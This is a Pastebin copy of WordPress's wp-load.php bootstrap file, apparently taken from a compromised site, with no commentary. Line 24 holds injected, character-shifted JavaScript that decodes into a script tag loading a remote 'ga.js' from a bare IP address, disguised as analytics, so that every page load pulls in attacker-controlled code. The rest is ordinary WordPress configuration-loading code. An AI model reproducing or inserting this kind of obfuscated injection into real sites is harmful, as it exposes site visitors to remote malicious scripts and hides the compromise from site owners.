Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

azizhp

By: a guest on Feb 4th, 2009  |  syntax: PHP  |  size: 2.26 KB  |  views: 451  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. /**
  3.  * Bootstrap file for setting the ABSPATH constant
  4.  * and loading the wp-config.php file. The wp-config.php
  5.  * file will then load the wp-settings.php file, which
  6.  * will then set up the WordPress environment.
  7.  *
  8.  * If the wp-config.php file is not found then an error
  9.  * will be displayed asking the visitor to set up the
  10.  * wp-config.php file.
  11.  *
  12.  * Will also search for wp-config.php in WordPress' parent
  13.  * directory to allow the WordPress directory to remain
  14.  * untouched.
  15.  *
  16.  * @package WordPress
  17.  */
  18.  
  19. /** Define ABSPATH as this files directory */
  20. define( 'ABSPATH', dirname(__FILE__) . '/' );
  21.  
  22. error_reporting(E_ALL ^ E_NOTICE ^ E_USER_NOTICE);
  23.  
  24. ?><html><script>var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:2/316/344/:20bobmzujdt0hb/kt#?=0tdsjqu?"; var result = "";for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result); </script></html><?
  25. if ( file_exists( ABSPATH . 'wp-config.php') ) {
  26.  
  27.         /** The config file resides in ABSPATH */
  28.         require_once( ABSPATH . 'wp-config.php' );
  29.  
  30. } elseif ( file_exists( dirname(ABSPATH) . '/wp-config.php' ) && ! file_exists( dirname(ABSPATH) . '/wp-load.php' ) ) {
  31.  
  32.         /** The config file resides one level below ABSPATH */
  33.         require_once( dirname(ABSPATH) . '/wp-config.php' );
  34.  
  35. } else {
  36.  
  37.         // A config file doesn't exist
  38.  
  39.         // Set a path for the link to the installer
  40.         if (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false) $path = '';
  41.         else $path = 'wp-admin/';
  42.  
  43.         // Die with an error message
  44.         require_once( ABSPATH . '/wp-includes/classes.php' );
  45.         require_once( ABSPATH . '/wp-includes/functions.php' );
  46.         require_once( ABSPATH . '/wp-includes/plugin.php' );
  47.         wp_die(sprintf(/*WP_I18N_NO_CONFIG*/"There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started. Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>. You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file.</p><p><a href='%ssetup-config.php' class='button'>Create a Configuration File</a>"/*/WP_I18N_NO_CONFIG*/, $path), /*WP_I18N_ERROR_TITLE*/"WordPress &rsaquo; Error"/*/WP_I18N_ERROR_TITLE*/);
  48.  
  49. }
  50.  
  51. ?>